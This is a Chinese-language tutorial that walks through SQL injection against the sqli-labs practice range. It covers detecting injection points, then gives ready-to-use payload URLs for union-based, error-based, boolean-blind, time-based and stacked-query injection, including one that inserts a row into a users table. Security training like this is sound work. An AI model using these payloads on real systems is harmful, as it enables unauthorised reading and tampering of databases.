0x01 前言
通过之前的文章,我们已经了解了一些注入点可能存在的位置,和sql的一些分类,并且带领大家尝试进行一些简单的注入测试。接下来我就为大家详细的介绍sql注入点判断的方法并尝试使用不同的注入手法进行注入。
0x02Mysql数据库常用函数与参数
在进行注入之前我们要先简单了解一些数据库中自带的常用函数与参数,在实战中经常需要一个或多个参数配合使用,才能更加快捷和方便的查询到我们想要的数据。
这里以Mysql为例,列举一些常用的函数与参数:
=、>、>=、<= 、<> | 比较运算符 |
and、or | 逻辑运算符 |
version( ) | mysql数据库版本 |
database( ) | 当前数据库名 |
sleep( ) | 睡眠时间为指定的秒数 |
if(true,t,f) | if判断 |
length( ) | 返回字符串的长度 |
substring( ) | 截取字符串 三个函数作用相同 有三个参数 mid(“1”,2,3) 1.截取的字符串 2.截取起始位置,从1开始计数 3.截取长度 |
substr( ) | |
mid( ) | |
left( ) | 从左侧开始取指定字符个数的字符串 |
concat( ) | 没有分隔符的连接字符串 |
concat_ws ( ) | 含有分割符的连接字符串 |
group_conat( ) | 连接一个组的字符串 |
ord( ) | 返回ASCII码 |
ascii( ) | |
hex( ) | 将字符串转换为十六进制 |
unhex( ) | hex的反向操作 |
md5( ) | 返回MD5值 |
floor(x) | 返回不大于x的最大整数 |
round ( ) | 返回参数x接近的整数 |
rand( ) | 返回0-1之间的随机浮点数 |
load_file( ) | 读取文件,并返回文件内容作为一个字符串 |
find_in_set( ) | 返回字符串在字符串列表中的位置 |
benchmark( ) | 指定语句执行的次数 |
name_const ( ) | 返回表作为结果 |
user( ) | 用户名 |
current_user( ) | 当前用户名 |
system_ user( ) | 系统用户名 |
@@datadir | 数据库路径 |
@@versoin_compile_os | 操作系统版本 |
0x03 注入点判断
判断注入点是否存在
首先我们需要判断注入点是否存在,如果在页面的url中存在某些参数,比如下面这个URL中就存在一个id参数:http://xxxxx.xxx/?id=1
我们就可以尝试改变id的数值,将参数值+1或-1,然后查看页面展示的内容是否会变化,如果页面会发生变化,则我们就可以初步判断,这个id会带入数据库查询,查询后的内容会显示到页面中来。
猜测查询的SQL语句大致为:
select * from [表名] where id = 1;
接下来我们就可以进行测试,看看我们传入的参数是否会被带入数据库查询,测试的方法如下:
判断注入类型
此处我们以 sqli-lib为例,简单介绍一下sqli-lib是一个专门练习sql注入的靶场,在里面可以用到各种各样的注入技巧。
我们以sqli-laib第一关为例:输入的url为:
http://10.1.1.1:8080/sqli-labs-master/Less-1/?id=1
我们修改id的数值,发现页面能够随之更改:
这时我们可以在id的后面添加一个引号看看会发生什么:
我们发下页面报错了,通过报错的内容,我们发现出错的位置是在:'2'' LIMIT 0,1
我们看到是因为我们添加了一个引号导致id的后面多了一个引号所以发生了错误。同时我们可以看到我们提交的参数两边是有单引号包裹的,所以我们可以判断出注入点的类型是字符型,单引号闭合。
那么如果是数字型注入,报错会是什么样的呢?我们这就来试试,我们以sqli-lib的第二关为例:
直接访问URL:http://10.1.1.1:8080/sqli-labs-master/Less-2/?id=2'
这时候我们看到出错的位置变了,变成了:' LIMIT 0,1
我们看到我们传入的参数并没有显示在报错信息中,说明我们传入的参数前面并没有引号包裹,于是我们就判断出注入的类型是数字型。同时我们还可以通过在id后添加运算符,比如-1,+2,这样来观察页面的内容是否会变成对应的id 来判断注入的类型。
就比如这一关,我们将id变为1+1,这里注意,+号在URL中会被编码为空格,所以我们需要提前将+号进行URL编码,变为:%2b。这时我们来访问看看:
页面同样展示出了id=2时的页面,于是我们同样可以判断出注入点是数字型注入。
添加单引号
添加了单引号之后,如果页面中直接进行了报错,并且报错的信息显示到了页面中来,说明我们输入的单引号被带入了数据库查询,我们就可以直接判断此处存在sql注入漏洞。并且结合之前判断的页面是否有回显,就可以尝试进行联合查询注入或是报错注入。
添加逻辑运算
添加[and 1 = 1]和[and 1 = 2]
在添加逻辑运算之前我们需要判断或者猜测注入点的数据类型和闭合方式,并对语句进行相应的引号、括号闭合。
比如字符型我们可以直接添加and 1=1 ,而单验号闭合的字符型我们就需要添加 'and '1'=1 ,或 'and '1'=1' # 使用注释符号将后面的引号直接注释掉。
添加了逻辑运算符之后提交,因为1=1恒为真,而1=2恒为假,所以如果我们的输入带入了数据库,一定会影响到SQL语句的布尔状态,如果两次查询返回的页面不同,说明页面存在布尔状态,此处存在注入漏洞,可以考虑使用布尔盲注进行注入。
添加sleep( )函数
sleep()函数可以让程序在当前位置停留指定的时间,于是我们可以通过观察页面相应的时间来判断我们插入的参数是否会被带入数据库执行。
在参数后添加 and sleep(5) 然后观察页面响应时间是否明显变长,或直接在开发者工具中网络选项卡下观察页面的响应时间。如果页面响应时间确实按照我们的要求增加了5秒,则说明此处存在注入漏洞,我们可以考虑通过延时注入。
0x04 联合查询注入
上面我们介绍了如何对判断注入点的数据类型,接下来我们就开始介绍不同的注入手法,首先就是联合查询注入:
要想使用联合查询注入,首先就需要我们输入的id 能够改变页面中显示的内容,也就是传入不同的id后,页面有回显。同时我们通过上面的操作证明了页面存在注入漏洞,我们就可以尝试使用联合查询注入了。
联合查询有两个必要的条件:
- 两张虚拟的表需要有相同的列数
- 虚拟表对应列的数据类型要相同
所以我们想要构建联合查询的表我们就需要先判断当前表有多少列。
我们可以通过[order by]语句来判断,[order by]语句的作用是按照某一列进行排序,在MySQL数据库中我们可以使用数字来代替对应列的列名,如果数据库中没有对应的列,就会报错。所以我们可以通过依次增加数字,直到报错,然后报错前的数字就是表的列数。例如:
[order by 1]->[order by 2]->[order by 3]->[order by 4]->数据库报错
在[order by 4]的时候报错,说明当前表有三列。
这里我们还是以sqli-lib第1关为例:
[order by 3]的时候页面还是正常。
[order by 4]的时候页面报错了,于是判断当前表有3列。
判断数据显示位置
知到了当前表的列数我们就开始判断第几列的内容会显示到页面中来。
在这里我们需要知道,我们构建union select语句时,当前面的查询语句为假,也就是数据不存在时,union select之后查询出的结果就会显示在页面中。这里我们可以通过在前面查询语句中添加 and 1=2 使语句变假,也可以直接将id传入一个负数,来使语句变假。
在这里我们构造URL为:
http://10.1.1.1:8080/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,2,3 --+
我们可以看到2和3显示到了页面中,于是判断中第2、第3、列会显示在页面中。我们就可以吧第二第三列换为我们想要查询的内容。
我们将2,3分别换成:database()和version()们就可以查询出当前使用的数据库名和MySQL的版本,构造的URL如下:
http://10.1.1.1:8080/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,database(),version() --+
我们可以看到当前数据库名为:security,数据库的版本为:5.5.53。我们还可以将2,3换为其他查询语句,就可以查到我们想要的信息了。
0x05 报错注入
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中,报错注入的使用条件是,数据库查询时发生的错误会直接显示到页面中来。
触发报错的方式有很多,具体的细节此处也不过多介绍,这里我们就直接介绍如何使用。
group by重复建冲突报错
可以在参数后直接加上[and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]
划线部分为我们真正的查询语句。
URL为:http://10.1.1.1:8080/sqli-labs-master/Less-1/?id=2' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
这种方法并不能稳定的显示出我们想要的结果,并且构造语句较为复杂,更推荐使用xpath报错的方法。
xpath语法错误
利用xpath语法错误来进行报错注入,主要利用extractvalue()和updatexml()两个函数。
利用条件:mysql版本>5.1.5
使用方法:
在参数后添加[and extractvalue(1,concat('^',(select database()),'^')) --+]
或:[and updatexml(1,concat('^',(select database()),'^'),1) --+]
同样,划线部分是我们真正的查询语句。
URL为:
http://10.1.1.1:8080/sqli-labs-master/Less-1/?id=2' and extractvalue(1,concat('^',(select database()),'^')) --+
或:http://10.1.1.1:8080/sqli-labs-master/Less-1/?id=2' and updatexml(1,concat('^',(select database()),'^'),1) --+
两个函数的返回结果都是相同的,如下图:
0x06 布尔盲注
布尔盲注,在页面没有回显,并且也不会在前台页面直接显示出错误信息时,我们可以判断页面中是否有布尔状态来尝试进行布尔盲注。
我们先访问URL:http://10.1.1.1:8080/sqli-labs-master/Less-1/?id=2' and 1=1 --+
页面显示正常,我们再尝试访问:http://10.1.1.1:8080/sqli-labs-master/Less-1/?id=2' and 1=2 --+
我们可以发现两次访问返回的页面并不相同,说明了页面存在布尔状态,我们就可以进行布尔盲注了。
构造如下URL:http://10.1.1.1:8080/sqli-labs-master/Less-1/?id=2' and length(database())=1 --+
我们不断改变length(database())=的数值,当条件为真时,页面就会显示正常,于是我们就可以通过页面的状态判断出数据库名的长度了。
当我们访问URL:
http://10.1.1.1:8080/sqli-labs-master/Less-1/?id=2' and length(database())=8 --+
页面显示正常了,说明数据库的长度是8。
接下来我们开始判断数据库的具体名称,我们可以通过substr()函数来一位一位的截取数据库名,来逐位的比对,判断对错。举个例子:
我们访问如下URL:
http://10.1.1.1:8080/sqli-labs-master/Less-1/?id=2' and substr(database(),1,1)='s' --+
substr(database(),1,1)='s' 的意思就是截取数据库名的第一位,判断是否是s;如果结果为真,页面自然会显示正常。
这样,我们通过一位一位的截取,然后进行判断,就可以判断出数据库的完整名字了。
0x07 延时注入
延时注入与布尔盲注的操作类似,区别在于,当页面没有布尔状态时,我们可以通过观察页面响应时间是否变长来判断我们输入的条件是否正确。
比如,我们访问如下URL:http://10.1.1.1:8080/sqli-labs-master/Less-1/?id=1' --+
我们可以看到页面的响应时间是1014毫秒,当我们访问:
http://10.1.1.1:8080/sqli-labs-master/Less-1/?id=1' and sleep(5) --+
我们可以看到,页面的相应时间变成了6037毫秒,确实增加了5秒,可以说明,我们插入的SQL语句确实执行了。
于是我们可以访问如下URL:
http://10.1.1.1:8080/sqli-labs-master/Less-1/?id=1' and if((length(database())=8),sleep(5),1) --+
if((length(database())=8),sleep(5),1)的意思就是判断数据库的长度是否为8,如果是就延时5秒。
划线部分就是我们可以判断的部分。
我们访问后可以看到响应的时间是6035毫秒,说明数据库的长度确实是8。
同样的,我们访问:
http://10.1.1.1:8080/sqli-labs-master/Less-1/?id=1' and if((substr(database(),1,1)='s'),sleep(5),1) --+
可以看到响应的时间是6034毫秒,也就说明数据库名的第一位就是s。
这样我们像布尔盲注的思路一样,通过一位一位的截取数据库名来进行判断,最终就可以获得完整的数据库名了。
0x08 堆叠查询注入
原理介绍:
在SQL中,分号(;)是用来表示一条sql语句的结束,我们在结束一个sql语句后继续构造下一条语句,数据库依然会继续执行,这样也就导致了堆叠注入。
与联合查询的区别:
联合查询执行的语句类型是有限的,只能用来执行查询语句,而堆叠注入可以执行的是任意的语句。
局限性:
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也会导致无法修改数据或者调用一些程序。
并且这种注入方式并不是十分推荐。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用联合查询注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。
这里我们以sqli-lib的第38关为例,来尝试进行堆叠查询注入。我们直接访问如下URL:
http://10.1.1.1:8080/sqli-labs-master/Less-38/?
id=1' ; insert into users(id,username,password) values(100,'123','321') --+
我们可以看到页面并没有什么变化,但是当我们去访问id=100的页面时:
可以看到,页面上显示出了我们刚刚插入的数据,说明我们刚刚执行的插入数据成功了。同样我们从后台的数据库中直接进行查询:
可以看到数据库中同样能够查询到我们刚刚插入的id为100,用户名为123,密码321的数据,证明我们成功进行了堆叠查询注入。